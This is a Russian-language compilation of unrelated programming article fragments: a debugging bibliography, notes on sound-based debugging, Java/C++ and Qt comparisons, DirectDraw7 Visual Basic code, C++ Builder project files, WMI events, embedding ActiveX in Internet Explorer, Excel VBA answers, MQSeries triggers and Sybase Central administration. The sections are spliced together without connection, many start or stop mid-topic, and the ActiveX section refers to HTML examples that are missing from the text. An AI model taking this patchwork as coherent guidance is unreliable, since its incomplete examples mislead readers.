  • M.Timmerman, F.Gielen, P.Lambrix, "High level tools for the debugging of real-time multiprocessor systems", ACM, 1993
  • A.von Mayrhauser, A.M.Vans, "Program understanding behavior during debugging of large scale software", ACM, 1997
  • J.Lang, O.B.Stewart, "A study of the applicability of existing exception-handling techniques to component-based real-time software technology", ACM, 1998
  • P.Fritzson, T.Gyimothy, M.Kamkar, N.Shahmehri, "Generalized algorithmic debugging and testing", ACM, 1991
  • D.Zernik, L.Rudolph, "Animating work and time for debugging parallel programs. Foundation and experience", ACM, 1991
  • J.M.Francioni, L.Albright, J.A.Jackson, "Debugging parallel programs using sound", ACM, 1991
  • T.Kunz, "Process clustering for distributed debugging", ACM, 1993
  • J.Cuny, G.Forman, A.Hough, J.Kundu, C.Lin, L.Snyder, D.Stemple, "The Ariadne debugger: scalable application of event-based abstraction", ACM, 1993
  • J.May, F.Berman, "Panorama: a portable, extensible parallel debugger", ACM, 1993
  • В.В.Липаев, Е.Н.Филинов, "Мобильность программ и данных в открытых информационных системах.", РФФИ, 1997
  • A.J.Offutt, J.H.Hayes "A semantic model of program faults", ACM, 1996
  • C.Jeffery, W.Zhou, K.Templer, M.Brazell "A lightweight architecture for program execution monitoring", ACM SIGPLAN 1998/july
  • L.Mittag "Multitasking design and implementation", Embedded system programming, 1998/march
  • E.Ryherd "Software debugging on a single-chip system", Embedded system programming, 1998/march
  • N.Cravotta "Real-time operating systems", Embedded system programming, 1997/march
  • J.E.Stroemme "Integrated testing and debugging of concurrent software systems", the sixth IFIP/ICCC conference on information network and data communication, Trondheim, Norway, 1996/june
  • J.Ready "Distributed applications bend RTOS rules", CMP Media Inc., 1996
  • J.Tsai, Y.Bi, S.Yang, R.Smith "Distributed real-time systems. Monitoring, visualization, debugging, and analysis", Wiley-Interscience Publication, 1996
  • В.Б.Бетелин, В.А.Галатенко "ЭСКОРТ - инструментальная среда программирования.", Юбилейный сборник трудов институтов Отделения информатики РАН. Том. II. Москва, 1993.

    Способы представления данных

    Существуют разные способы представления данных. ([7],[13]). Наиболее распространенный из них - графический. Например, Panorama предоставляет следующие возможности (предполагается, что система использует в качестве механизма связи сообщения):
  • карта процессоров (процессоры и их соединения, а также текущие сообщения между ними);
  • окно отладки (состояния задач, данные, и.т.п.);
  • окно потока сообщений (все сообщения между процессорами во времени (и время приема, и время получения). В дополнение к графическому способу можно использовать, например, звуковой, как это описано в [14]. Преимущество использования звука при отладке состоит в том, что при большом объеме собранных данных может быть сложно обнаружить ошибку визуально. Например, если в процессе работы затерялось какое-то сообщение от одного процессора к другому, то, анализируя графическое представление взаимодействия процессоров, трудно найти потерянное сообщение, так как оно может быть графически просто не представлено. Однако, если каждое сообщение (от посылки до получения) будет сопровождать некоторый звуковой сигнал, то потерянное сообщение будет сразу обнаруживаться. Как видно, при отладке распределенных приложений необходимо учитывать связь между процессорами и, в основном, асинхронный ее характер, то есть на первое место выступает обнаружение ошибок, связанных со взаимодействием задач и усиленных тем, что задачи выполняются на разных процессорах.

    Сравнение AWT/Swing и Qt

    До сих пор мы сравнивали лишь языки программирования Java и C++. Но, как мы упомянули в начале этой статьи, язык программирования является лишь одним из аспектов, принимаемых во внимание при разработке GUI. Теперь мы сравним пакеты для разработки GUI, которые поставляются вместе с Java, т.е. AWT и Swing, и кросс-платформенный инструментарий Qt от норвежского производителя Trolltech. В сравнении мы ограничились лишь одним инструментарием C++, потому что в отличие от MFC (Microsoft Foundation Classes) и других подобных библиотек, Qt поддерживает все 32-битные Windows-платформы (кроме NT 3.5x), большинство разновидностей Unix, включая Linux, Solaris, AIX и Mac OS X, и встраиваемые платформы. Это позволяет максимально близко сопоставить платформы Java/AWT/Swing и C++/Qt.

    Сравнение C++ и Java

    Часто при обсуждении преимуществ и недостатков различных языков программирования дебаты сводятся к аргументам, основанным скорее на личном опыте и предпочтениях, чем на объективных критериях. Конечно же, при выборе языка программирования личные предпочтения и опыт разработчика должны быть учтены, но так как эти критерии субъективны, они здесь не принимаются во внимание. Вместо этого мы будем рассматривать продуктивность программирования, производительность работы приложения и эффективность использования памяти, потому что эти критерии могут быть определены количественно и могут быть исследованы с научной точки зрения, хотя мы также учтем информацию, полученную из опыта разработки проектов в нашей компании.

    Сравнение инициализации Scribe-DirectDraw и DirectDraw7:

    Объявления переменных: Практически аналогично в обоих случаях. Однако в DX7 кроме объекта DirectDraw, объектов поверхностей (буферов) и структуры описания поверхности надо объявить главный объект DirectX. Раньше мы делали это так: Dim dd As DirectDraw Dim Primary As DirectDrawSurface 'Primary surface Dim BackBuffer As DirectDrawSurface 'BackBuffer surface Dim ddsd As DDSURFACEDESC Dim caps As DDSCAPS В DirectX7 это делается так: Dim dx As DirectX7 Dim dd As DirectDraw7 Dim Primary As DirectDrawSurface7 'Primary surface Dim BackBuffer As DirectDrawSurface 'BackBuffer surface Dim ddsd As DDSURFACEDESC2 Dim caps As DDSCAPS2 Далее, надо создать объект DirectDraw, установить режим отношения программы с другими приложениями (Coopeartive Level) и режим экрана. В DirectDraw7 объект DirectDraw создается из объекта DirectX. Сначала предыдущая версия: Call DirectDrawCreate(ByVal 0&, dd, Nothing) 'Создаем DirectDraw Call lpDD.SetCooperativeLevel(trgtForm.hwnd, DDSCL_EXCLUSIVE Or DDSCL_FULLSCREEN Or DDSCL_ALLOWREBOOT) 'Режим работы Call lpDD.SetDisplayMode(X, Y, Color) 'Режим дисплея Теперь, DirectX7 Set dd = dx.DirectDrawCreate("") 'Создаем DirectDraw Call dd.SetCooperativeLevel(trgtForm.hWnd, DDSCL_FULLSCREEN Or DDSCL_EXCLUSIVE Or DDSCL_ALLOWREBOOT) 'Режим работы Call dd.SetDisplayMode(X, Y, Color, 0, DDSDM_DEFAULT) 'Режим дисплея Теперь надо задать описание главной поверхности, создать ее и получить задний буфер. Scribe-DirectDraw: 'Create a front surfaces With ddsd .dwSize = Len(ddsd) .dwFlags = DDSD_CAPS Or DDSD_BACKBUFFERCOUNT .DDSCAPS.dwCaps = DDSCAPS_PRIMARYSURFACE Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX .dwBackBufferCount = 1 End With Call dd.CreateSurface(ddsd, Primary, Nothing) 'Retrieve BackBuffer caps.dwCaps = DDSCAPS_BACKBUFFER Call Primary.GetAttachedSurface(caps, BackBuffer) DirectDraw7: 'Create a front surfaces ddsd.lFlags = DDSD_CAPS Or DDSD_BACKBUFFERCOUNT ddsd.ddsCaps.lCaps = DDSCAPS_PRIMARYSURFACE Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX ddsd.lBackBufferCount = 1 Set Primary = dd.CreateSurface(ddsd) 'Retrieve BackBuffer caps.lCaps = DDSCAPS_BACKBUFFER Set BackBuffer = Primary.GetAttachedSurface(caps) После этого можно установить ColorKey и другие дополнительные параметры. Как видите, смысл один и тот же, а разница скорее в синтаксисе, что однако довольно неприятно. Так что, для какого DirectX программировать решать конечно же вам. По крайней мере уже целая толпа, пожав плечами отправилась юзать новое детище Microsoft... Удачи, и Приятного программирования,

    Среда разработки C++ Builder

    C++ Builder представляет собой SDI-приложение, главное окно которого содержит настраиваемую инструментальную панель (слева) и палитру компонентов (справа). Помимо этого, по умолчанию при запуске C++ Builder появляются окно инспектора объектов (слева) и форма нового приложения (справа). Под окном формы приложения находится окно редактора кода. Среда разработки C++ Builder Рис.1. Среда разработки C++ Builder Формы являются основой приложений C++ Builder. Создание пользовательского интерфейса приложения заключается в добавлении в окно формы элементов объектов C++ Builder, называемых компонентами. Компоненты C++ Builder располагаются на палитре компонентов, выполненной в виде многостраничного блокнота. Важная особенность C++ Builder состоит в том, что он позволяет создавать собственные компоненты и настраивать палитру компонентов, а также создавать различные версии палитры компонентов для разных проектов.

    Средства мониторинга событий службы WMI

    Не буду останавливаться на основах функционирования WMI; эта тема уже достаточно обсуждалась как на страницах печатных изданий, так и в Web. Однако для того, чтобы дать читателю представление о том, как служба WMI обеспечивает выполнение задачи, поставленной перед сценарием, я кратко опишу некоторые реализованные в WMI функции мониторинга событий. Встроенная система мониторинга событий службы WMI отслеживает события во всех классах WMI. Любой сценарий можно "привязать" к этим событиям и выполнять действия в зависимости от них. Системы на основе событий, как правило, позволяют сокращать число используемых рабочих циклов процессора и задержки, связанные с опросом элемента системы об изменениях его состояния. Если сценарий, в котором задействованы средства мониторинга событий WMI, составлен корректно, он может отслеживать события, не будучи встроенным в цикл, а значит, непроизводительные затраты ресурсов процессора снижаются почти до нуля. В рамках мониторинга событий внутренние механизмы WMI выполняют некоторые операции по опросу элементов системы. Но эти операции проводятся внутри пространства имен WMI. Сценарию не приходится запускать дополнительные процессы, реактивировать бездействующие процессы, подключаться к внешним источникам данных или пережидать задержки на обращение к диску. Средства мониторинга событий службы WMI могут инициализировать мониторинг событий даже в тех случаях, когда данная функция не предусмотрена соответствующим интерфейсом API. Когда в API встраивается провайдер WMI, этот провайдер автоматически извещает WMI обо всех случаях создания, обновления и удаления экземпляров своего класса. Даже если вы привлечете к работе системного программиста Windows, вполне возможно, что он так и не сможет найти комбинацию базовых API, обеспечивающую надежное подключение и мониторинг событий соединений VPN, RAS и динамических соединений для всех версий Windows (от XP до Windows 95). Такая сложная задача явно противоречит идее написания короткого VBScript-сценария, предназначенного для мониторинга этих событий и выполнения соответствующих действий.

    Ссылки

  • .
  • "Legacy Information: A New Life with IBM Rational Rapid Developer", Rusty Lloyd.
  • IBM Rational Rapid Developer Evaluator's Guide (IBM Rational Software Corporation).
  • Rational Rapid Developer's Tutorial.


    Стандарты ПО

    Многие полагают, что если есть стандарт, то для получения качественного ПО достаточно просто четко ему следовать. Корни этого мифа - в необоснованном переносе в программную инженерию практики, сложившейся в традиционных индустриях. В последние 20 лет мы наблюдаем прямо-таки экспоненциальный рост числа разнообразных стандартов. Организации, занимающиеся созданием и распространением стандартов (ISO, IEEE, IEC), пока не слишком преуспели в объективной оценке их достоинств с точки зрения практики разработки. К примеру, было бы неплохо хотя бы приблизительно знать, что если следовать стандарту "A" потребуются дополнительные затраты на величину "B", но при этом вы приобретете выгоды величиной "C". Если бы каждый стандарт сопровождался методикой оценки выгод его использования для некоторого типичного проекта, то стандарты было бы намного легче сравнивать и адаптировать. Мои основные сомнения, касающиеся стандартизации, таковы:
  • стандарты редко появляются вовремя: как правило, процесс их создания растягивается на столь долгое время, что к моменту публикации они теряют актуальность;
  • бытует мнение (и оно не лишено оснований), что иногда под предлогом борьбы за качество стандарты вводятся сильными мира сего как средства конкурентной борьбы;
  • стандарты не содержат методик количественной оценки выгод от их применения;
  • не всегда понятна взаимосвязь вводимого стандарта с лучшими образцами практики и с другими стандартами.
  • Безусловно, следовать стандартам в той или иной степени необходимо, но разработка программн - не та область, где это гарантирует улучшение качества продукта в каждом конкретном случае.

    Структура файла проекта

    Для каждого приложения C++ Builder создается один файл проекта, один make-файл и один файл ресурсов. Файл проекта генерируется при выборе пункта меню File/New Application. Первоначально файлу проекта присваивается по умолчанию имя Project1.cpp. Если в процессе разработки приложения добавляются формы и модули, C++ Builder обновляет файл проекта. Для просмотра файла проекта следует выбрать пункт меню View/Project Source. Эта операция выполнит загрузку исходного текста файла проекта в редактор кода (рис. 1). Рис. 1. Просмотр файла проекта в редакторе кода Файл проекта имеет такую же структуру, как и файл модуля. Подобно файлу модуля, это файл исходного кода на языке C++, который компилируется с другими файлами при создании исполняемого файла. В файле проекта имеется определенный набор ключевых элементов:
  • Директива препроцессора #include предназначена для включения в текст проекта заголовочного файла, ссылающегося на описания классов библиотеки компонентов.
  • Директива препроцессора #pragma hrdstop предназначена для ограничения списка заголовочных файлов, доступных для предварительной компиляции.
  • Директива USEFORM сообщает, какие модули и формы используются в проекте.
  • директива USERES компилятора присоединяет файлы ресурсов к выполняемому файлу. При создании проекта автоматически создается файл ресурсов с расширением *.res для хранения курсоров, пиктограммы приложения и др.
  • Application->Initialize() Это утверждение критично только в случае, если приложение является OLE automation-сервером. В остальных случаях оно фактически ничего не делает.
  • Application->CreateForm() Это утверждение создает форму приложения. По умолчанию, каждая форма в приложении имеет свое утверждение CreateForm.
  • Application->Run() Это утверждение запускает приложение (точнее, переводит его в состояние ожидания наступления одного из событий, на которое оно должно реагировать).
  • Конструкция try...catch используется для корректного завершения приложения в случае возникновения ошибки при инициализации, создании форм, запуске приложения.

    Структура h-файла

    h-файл генерируется при создании нового модуля. В нем содержится информация о данных и функциях, которые можно использовать в модуле. h-файл для модуля, связанного с формой, содержит описания интерфейсных элементов и других компонентов этой формы и обработчиков событий для них (то есть, в терминологии объектно-ориентированного программирования, описание класса формы). Такие описания автоматически добавляются в h-файл при внесении в форму новых компонентов или генерации новых обработчиков событий. Иными словами, в h-файле содержится интерфейс, а в самом модуле - реализация. Рис. 3. Пример структуры h-файла Примечание. При удалении из формы компонентов их описания удаляются из h-файла, а описания обработчиков событий сохраняются. При переименовании компонентов изменяются их описания в h-файле, а также имена и описания обработчиков событий, сгенерированные автоматически. Однако при этом не изменяются ссылки на эти компоненты и обработчики событий, используемые в других функциях, поэтому рекомендуется переименовывать компоненты и обработчики событий сразу же после их создания, пока на них не появились ссылки. Не рекомендуется удалять из модуля пустые функции (например, случайно созданные шаблоны обработчиков событий). Они не увеличат размер исполняемого файла, но их удаление может привести к невозможности заново сгенерировать обработчик события, если в этом возникнет необходимость. Отметим, что в модуле могут содержаться функции, не описанные в h-файле, однако видимость их в этом случае ограничивается данным модулем. Внутри модуля функции могут быть определены и ссылаться друг на друга в произвольном порядке. Если данный модуль ссылается на другие формы и модули, следует с помощью директивы препроцессора #include включить в него соответствующий h-файл с помощью пункта меню File/Include Unit Hdr... . После этого интерфейсные элементы другого модуля будут доступны в данном модуле.

    Структура make-файла

    Make-файл - это текстовый файл, содержащий макросы, директивы и инструкции по компиляции и сборке проекта для утилиты make.exe. Отметим, что make-файл по существу ничем не отличается от обычного знакомого пользователям С и С++ make-файла. Он генерируется автоматически при создании проекта, и его содержимое зависит от установок, указанных программистом в опциях проекта. Чтобы увидеть содержание make-файла, следует выбрать пункт меню View/Project Makefile (рис. 2). Рис. 2. Пример структуры make-файла

    Структура модуля

    Модули являются основой создания библиотек и приложений в C++ Builder. Модуль содержит исходный текст на языке C++ и первоначально представляет собой файл с расширением *.CPP. В дальнейшем каждый такой файл компилируется в объектный файл с расширением *.OBJ. Объектные файлы, в свою очередь, собираются компоновщиком в выполняемый файл с расширением *.EXE. При добавлении к проекту новой формы генерируется новый модуль. При добавлении модуля к проекту при помощи выбора пункта меню File/New Unit создается пустая структура модуля, в которой включены директивы: #include ; #pragma hdrstop; #include "Unit2.h" Директива #include "Unit2.h" указывает на то, что в текст модуля должен быть включен соответствующий заголовочный файл. При создании модуля используются следующие правила:
  • Имя должно быть уникальным. Два модуля с одним и тем же именем не могут использоваться одновременно в одном и том же проекте.
  • Если модуль связан с формой, то имя исходного файла модуля и файла формы (с расширением *.dfm) должны быть одинаковыми. При создании обработчика событий в инспекторе объектов в тексте файла модуля генерируется шаблон функции, в который разработчик должен вводить код, выполняемый при наступлении обрабатываемого события.

    Связка ActiveX - Internet Explorer

    Связка ActiveX - Internet Explorer А знаете ли вы, что на Delphi можно писать ActiveX компоненты? Конечно знаете. А что с их помощью можно взаимодействовать с Internet Explorer? Это может быть интересно для профессиональных вебмастеров, скажете вы, но я не согласен. "Простой" программист тоже может найти массу применений этому. Здесь будет описано одно из них. Все мы лазим (ходим и т.д.) по интернету. И вы тоже - раз читаете эти строки :). А не случалось ли вам, случайно где-то побывав, что-то прочитав и благополучно забыв адрес сайта через некоторое время вдруг понять, что там было именно то, что вам сейчас срочно понадобилось? Можно конечно посмотреть History браузера, можно залезть в кэш "руками" и попытаться найти там что-то. А можно написать компонент, который бы искал слова в файлах кэша (в общем случае в любых HTML-файлах) и выводил бы на просмотр требуемые файлы. Связать этот компонент с Эксплорером - и вперед. Что удобно - вся работа происходит в эксплорере: и поиск, и,естественно, просмотр. При этом для Delphi-программиста не нужны особые знания языка HTML, скриптовых языков и т.п. Достаточно знать несколько основных конструкций (а уж справочных руководств в интернете очень много). Написанный ActiveX-компонент вставляется в HTML-страничку. Вот пример простейшей странички Поиск


    В этом примере ActiveX-компонент, находящийся в файле C:\PATH\FINDWORDS.OCX вставляется в HTML-страничку. Но важно отметить, что эта страничка откроется только в Microsoft Internet Explorer версии 4 и старше. Пишут, что третий эксплорер тоже поддерживает тэг , но сам не пробовал, не знаю. Браузеры Netscape, Opera и какие еще там бывают, его не поддерживают. Итак, тэг вставляет в страничку ActiveX-компонент.
    Его атрибут CLASSID указывает идентификатор класса нашего компонента. При создании в Delphi компонента с нуля ему автоматически присваивается этот идентификатор класса. ID="findword1" - имя объекта. Здесь можно писать любое имя. По нему мы в дальнейшем будем ссылаться на наш компонент в теле странички из скриптов-процедур обработки событий. Далее, для того, чтобы наш компонент мог использоваться прикладными программами, он должен быть зарегистрирован в реестре. Зарегистрировать его можно программой regsvr32, которая по умолчанию находится в каталоге [System]. Например так: [regsvr32 C:\PATH\FINDWORDS.OCX]. Если при открытии странички Explorer не находит в реестре указанный компонент, то он ищет его в местоположении, указанном атрибутом CODEBASE. Здесь может быть полный путь к файлу, если он находится на вашем жестком диске или даже URL-адрес (со всеми сопутствующими атрибутами, как то http:// и т.д.).Т.е, если эксплорер встретил ссылку на компонент, а этого компонента нет на вашей машине, он может загрузить его из интернета с указанного адреса. Кстати, атрибут CLASSID - обязательный, именно по нему производится "идентификация" класса. А атрибут CODEBASE - необязательный. В случае, когда он опущен, если компонент уже зарегистрирован в системе, то он отобразится в вашей страничке, если не зарегистрирован - страничка будет пустой. И наконец если эксплорер сам регистрирует компонент, он переписывает файл OCX в папку [Windows\Downloaded program files]. Для того, чтобы вручную не писать скрипты подсоединения ActiveX компонентов, я советую скачать программу Microsoft ActiveX Control Pad . Эта программа предназначена для внедрения ActiveX-компонентов в HTML-странички. После ее работы определение компонента выглядит примерно так: Т.е.


    эта программа сама подставляет полное определение компонента (его CLASSID, например). Правда, полученный код иногда приходится подправлять вручную. Например может потребоваться убрать явное указание высоты и ширины объекта. Теперь подходим к самому главному: как сделать сам компонент (чтобы было что вставлять в нашу страничку :). Итак, в Delphi делаем New\ActiveX\Active form. В окошке Active Form Wizard выбираем Threading model=Apartment. Другие threading models не работают с IE 4. Выглядит это так: компонент в страничке открывается, но иногда вдруг выскакивает Access violation. (обычно на событие Create). Модель же Both работает с IE 5. Флажок "Include Design-Time licence" лучше не устанавливать. Дальше открывается новая форма, где вы можете размещать свои кнопки-текстбоксы, определять реакцию на события и т.д. Далее будут описаны некоторые хитрости. Например, нужно хранить некоторые данные во внешнем файле. Я столкнулся со следующим: мой компонент на разных машинах размещал свои файлы в разных местах: на одной в каталоге Windows, на другой - на рабочем столе. Был найден такой выход: пусть страничка по требованию компонента возвращает ему каталог, в котором она находится. Для этого на форму я поместил PageControl, сделал закладки невидимыми и на OnShow (у формы ActiveX компонента нет события OnShow) одной из страниц поставил генерацию собственного события OnWantDir. А в теле HTML-странички соответственно реакцию на него: Далее, это событие OnShow происходит сразу после создания экземпляра компонента. Так вот, если событие OnWantDir генерировать непосредственно в нем (в OnShow), то видимо что-то в недрах Windows не успевает провернуться и машина виснет. Поэтому пришлось повесить на форму таймер, на OnShow таймер запускать, и уже на OnTimer как раз и вызывать свое событие OnWantDir. Интервал у таймера я поставил в полсекунды.


    Конечно можно было бы хранить свои файлы например в каталоге [Windows], но почему-то функция GetWindowsDirectory при вызове из ActiveX-компонента возвращала ошибку, хотя тут же нормально отрабатывала из обыкновенного приложения (exe). То же и с GetSystemDirectory и GetTempDirectory. Как сделать компонент тиражируемым? Чтобы пользователь смог работать с ним сразу же, не запуская никаких дополнительных программ, не указывая всяких-разных путей и т.д. Вот пример HTML-странички (а его скриншот): Поиск

    {Здесь просто имя файла без пути. Explorer зарегистрирует компонент невидимо для пользователя, взяв его из текущеего каталога (страничка и файл OCX находятся в одном каталоге)}
    И еще раз: 1) открываем нашу страничку (в IE 4 и выше); 2) если компонент зарегистрирован, он сразу показывается, если не зарегистрирован, то регистрируется и показывается.При этом: 3) после создания выдерживается пауза в полсекунды и запрашивается текущий каталог (и страничка и сам OCX-файл находятся в одном каталоге, который и будет текущим). 4) если нужно открыть на просмотр какую либо страничку (выбранную пользователем в процессе работы из списка - см. ), то свойству компонента (при внедрении его в страничку правильнее будет называть его уже объектом) присваивается значение (имя файла), генерируется событие. Cкрипт-обработчик этого события читает свойство и отрывает требуемый файл.

    Свойства компонентов

    Свойства являются атрибутами компонента, определяющими его внешний вид и поведение. Многие свойства компонента в колонке свойств имеют значение, устанав иваемое по умолчанию (например, высота кнопок). Свойства компонента отображаются а странице свойств (Properties). Инспектор объектов отображает опубликованные (published) свойства компонентов. Помимо published-свойств, компоненты могут и чаще всего имеют общие (public), опубликованные свойства, которые доступны только во время выполнения приложения. Инспектор объектов используется для установки свойств во время проектирования. Список свойств располагается на странице свойств инспектора объектов. Можно определить свойства во время проектирования или написать код для видоизменения свойств компонента во время выполнения приложения. При определении свойств компонента во время проектирования нужно выбрать компонент на форме, открыть страницу свойств в инспекторе объектов, выбрать определяемое свойство и изменить его с помощью редактора свойств (это может быть п остое поле для ввода текста или числа, выпадающий список, раскрывающийся список, диалоговая панель и т.д.).

    Терминология

    Компонент. Составная часть распределенного приложения. Active Directory. Сетевая служба каталогов Microsoft, которую корпорация предполагает включить в состав Windows 2000. ActiveX. Предлагаемый Microsoft способ разработки программных компонентов. Common Object Model (COM). Программная архитектура Microsoft, поддерживающая компонентный подход к разработке приложений. COM+. Модернизация COM и Microsoft Transaction Server, который упрощает разработку сложных распределенных приложений. Common Object Request Broker Architecture (CORBA). Основной конкурент DCOM в области построения распределенных программных систем. Распределенные вычисления. Парадигма организации приложений, в которой различные части программы могут исполняться на разных компьютерах в сети. Microsoft Transaction Server (MTS). Усовершенствование в составе COM, которое реализует поддержку транзакций баз данных. Remote Procedure Call (RPC). Удаленный вызов процедуры - сообщение, посылаемое по сети, которое позволяет программе, установленной на одном компьютере, инициировать выполнение необходимой операции на другом.

    Тестирование

    Только неофиты от программирования верят мифу, что на этапе тестирования можно выявить и решить все накопившиеся в процессе разработки проблемы. По данным руководителя фирмы Software Productivity Research К. Джоунса вероятность благополучного завершения проблемного проекта не превышает 15%. Вывод очевиден: если разработчики ожидают фазы тестирования в надежде исправить обнаруженные недостатки ПО, шансов на спасение такого проекта очень мало.

    The MIDAS Suite содержит:

  • The Business ObjectBroker - для динамического управления загрузкой и контроля безопасности в многозвенных критичных для бизнеса системах.
  • The Remote DataBroker - снижает стоимость конфигурирования и поставки информационных систем с "тонким" клиентом.
  • The ConstraintBroker - проверяет корректность данных и снижает сетевой траффик с помощью пересылки правил ссылочной целостности с сервера на рабочую станцию без написания кода. Более детальное описание MIDAS и его интеграции с Delphi 3 можно обратиться к материалам корпоративного Web-сервера Borland .

    ThisWorkBook или ActiveWorkBook?

    Q: На листе модулей открытой рабочей книги присутствует процедура, которая копирует некий лист из другой (не активной) рабочей книги. В этом  листе в некоторых ячейках находятся определенные пользователем формулы. Процедура работает без проблем.
    Из workbook, содержащей эту процедуру, я делаю надстройку (.xla) и подключаю ее к Excel 95. При вызове вышеописанной процедуры она выдает сообщение:
    Run time error 424  object required
    Kак можно избежать это сообщение? A:Вот что я тебе посоветую:
     Посмотри ещё разок код  модулей рабочей книги и исправь все ссылки вида ActiveWorkbook.WorkSheets(".. на ссылки вида ThisWorkBook.WorkSheets(".. Дело в том, что когда выполняется код надстройки активной книгой в Excel'е является _не_ сама надстройка! Конструкция ThisWorkbook позволяет сослаться на книгу, в которой в настоящий момент выполняется код Excel VBA.  Нint: Это общий принцип создание надстроек Excel!

    Тотальное Управление Качеством

    Последний миф связан с тенденцией регламентировать все возможные аспекты разработки ПО. Тотальное Управление Качеством (Total Quality Management - TQM) - это очень показательный пример воплощения данного мифа. В традиционных областях индустрии следование четко определенной методике управления качеством действительно приносит успех. Однако промышленное программирование остается сугубо творческим процессом со значительным элементом неопределенности, и прямое приложение отработанных в иных условиях методик представляется ошибочным.

    Триггерные возможности MQSeries

    Асинхронный характер работы системы очередей сообщений требует специального механизма внешней активизации прикладных и системных компонентов. В MQSeries такой механизм - "триггеринг" привязан непосредственно к очередям сообщений. Триггерным событием может быть, например, появление в очереди нового сообщения или факт накопления определенного числа сообщений, имеющих приоритет выше заданного порогового значения. Чтобы определить триггерное событие, для прикладной очереди при помощи административных команд устанавливаются опции, разрешающие триггеринг и условия триггерного события. Кроме того, администратором системы создается специальное описание обработки такого события. В описании содержится информация о приложении, которое будет вызвано при наступлении триггерного события. Если происходит такое событие, например, появляется новое сообщение в очереди, менеджер очередей автоматически генерирует специальное триггерное сообщение, которое помещается в очередь инициации (initiation queue). В триггерном сообщении содержатся данные о событии и вызываемом процессе. Все очереди инициации отслеживаются триггерным монитором, который читает триггерное сообщение и вызывает внешнюю программу обработки (рис. 2). Рис. 2. Обработка "триггерных" событий Приведем пример двух административных команд для создания триггерной очереди и описания процесса вызова внешней программы: DEFINE QLOCAL(имя очереди) TRIGGER + PROCESS(имя процесса) INITQ(имя очереди инициации) + TRIGTYPE(тип триггерного события) .... DEFINE PROCESS(имя процесса) + APPLICID(имя вызываемой программы) USERDATA(параметры)... Триггеринг достаточно часто применяется в качестве стандартного метода автоматического старта каналов между менеджерами очередей. Для этого достаточно в качестве триггерных обьявить транспортные очереди, содержащие сообщения для передачи удаленному менеджеру очередей.

    Удаление листов в зависимости от даты

    Q: Как удалить рабочие листы листов в зависимости от даты? A: Вот код функции на Excel VBA, который решает данную проблему: ' Function DelSheetByDate
    ' Удаляет рабочий лист sSheetName в активной рабочей книге,
    ' если дата dDelDate уже наступила
    ' В случае успеха возвращает True, иначе - False Public Function DelSheetByDate(sSheetName As String, _
     dDelDate As Date) As Boolean
    On Error GoTo errHandle   DelSheetByDate = False
      ' Проверка даты
      If dDelDate <= Date Then
       ' Не выводить подтверждение на удаление
       Application.DisplayAlerts = False
       ActiveWorkbook.Worksheets(sSheetName).Delete
       DelSheetByDate = True
       Application.DisplayAlerts = True
     End If
     
    Exit Function
    errHandle:
      MsgBox Err.Description, vbCritical, "Ошибка №" & Err.Number
    End Function

    Управление Adaptive Server Enterprise

    Для новых или неопытных администраторов Sybase Central является средством быстрого и эффективного освоения администрирования. Но и более опытным администраторам Sybase Central дает организованное представление некоторой труднодоступной информации такой как, например, зависимости одних объектов от других или списки полномочий пользователей в представлении по объектам или по пользователям. На любом уровне администрирования Sybase Central может поднять производительность за счет удобного интерфейса и наличия таких возможностей, как редактирование кода (хранимых процедур, триггеров и пр.) и генерации скриптов.
    ASE Plug-in соответствует стандарту интернационализации I18N и обеспечивает полноценную поддержку английского, французског, немецкого и японского языков.
    На рисунке показано главное окно Sybase Central с некоторыми раскрытыми объектами при инсталляции ASE.
    Управление Adaptive Server Enterprise
    Удобный интерфейс
    ASE Plug-in для Sybase Central является удобным вариантом - но не заменой ! - isql, работающего из командной строки. Администраторы могут использовать любой из этих интерфейсов и по-прежнему использовать и разрабатывать скрипты.
    Использование в Sybase Central интерфейса "укажи и нажми", дерева представления объектов, диалоговых окон с закладками и прокручиваемых списков не требует теперь от администраторов запоминания имен и синтаксиса хранимых процедур для получения или изменения информации в системе или БД. Визарды устраняют необходимость помнить правильную последовательность команд при создании новых объектов.
    Интерфейс предоставляет возможность работать с именами таких объектов как, например, таблицы, столбцы, правила, устройства и триггеры, не требуя от пользователей исследовать или запоминать их. Таблицы свойств отображают информацию об объекте, не требуя администратора понимания структуры системной таблицы ASE.
    Кроме того, чтобы сделать управление с одной консоли более производительным, ASE plug-in позволяет работать со следующими утилитами:
  • SQL Advantage. Обеспечивает соединение с Adaptive Server Enterprise с целью создания и выполнения хранимых процедур и выражений на Transact-SQL.
  • Directory Services Editor (dsedit).
    Редактирует файл службы каталогов на компьютере, где установлен Sybase Central.
  • Configure Sybase Server (syconfig). Конфигурирует ASE, Monitor Server и Backup Server.
  • Таблицы свойств объектов

    Sybase Central предлагает визуальное представление всех установок ASE в сочетании с возможностью легко получать свойства конкретных объектов. Например, как показано на рисунке, всего несколько нажатий клавиши мыши - и администратор получает исчерпывающую информацию о том, как сконфигурировано устройство БД.

    Управление Adaptive Server Enterprise

    Когда администратор добавляет новый объект, визарды предлагают всю необходимую и дополнительную информацию о свойствах этого объекта. После того, как объект создан, его свойства доступны для просмотра в таблице свойств. Закладки на таблице организуют свойства в легко идентифицируемые группы. Свойства объекта отображаются в таблице свойств независимо от того, каким образом был создан сам объект: с помощью визарда, скрипт-файла или выражений на Transact-SQL из SQL Advantage или другого isql средства.

    Список зависимостей

    Когда администратор БД собирается произвести изменения каких-либо объектов, он должен понимать, какие воздействия могут оказать эти изменения на другие объекты. С использованием Sybase Central исследование связей между объектами становится намного проще. Команда меню Dependencies вызывает диалог с двумя закладками, которые соответствуют двум видам зависимостей выбранного объекта:

  • Закладка "Referenced by" показывает, какие объекты зависят от данного объекта. Например, от таблицы могут зависить хранимые процедуры, триггеры и представления (views).
  • Закладка "References" показывает, от каких объектов зависит выбранный объект. Например, таблица может зависеть правил, значений по умолчанию и типов пользователей.
  • На рисунке приведены оба типа зависимостей для таблицы TITLES

    Управление Adaptive Server Enterprise

    Управление Adaptive Server Enterprise

    Управление доступом

    Простым щелчком мыши на дереве объектов Sybase Central администратор может сразу же увидеть доступы (logins) и ролевые функции (roles), определяемые для пользователей, для каждого Adaptive Server Enterprise, а также пользователей и группы пользователей, определенные для каждой базы данных.


    Визарды ведут администратора на протяжении всего процесса создания новых составляющих этих объектов. Таблица свойств отображает параметры, использовавшиеся для создания объектов, и другую полезную информацию. Например, таблица свойств для доступа показывает:

  • базы данных, для которых определен данный доступ
  • ролевые функции, соответствующие данному доступу
  • пользователи, использующие данный доступ непосредственно или через синоним
